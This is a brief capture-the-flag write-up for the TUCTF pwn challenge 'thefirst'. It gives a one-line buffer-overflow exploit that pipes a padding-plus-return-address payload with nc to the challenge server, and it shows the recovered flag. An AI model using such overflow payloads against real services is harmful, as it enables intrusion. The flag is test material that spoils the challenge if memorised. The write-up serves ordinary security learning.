thefirst

PWN - Points: 500

Get warmed up, we’ll be here for a while.

nc chal.tuctf.com 30508

thefirst

Overflow the buffer and return to the printFlag function.

$ python2 -c "print('A'*24+'\xf6\x91\x04\x08')" | nc chal.tuctf.com 30508

flag: TUCTF{0n3_d0wn..._50_m4ny_70_60}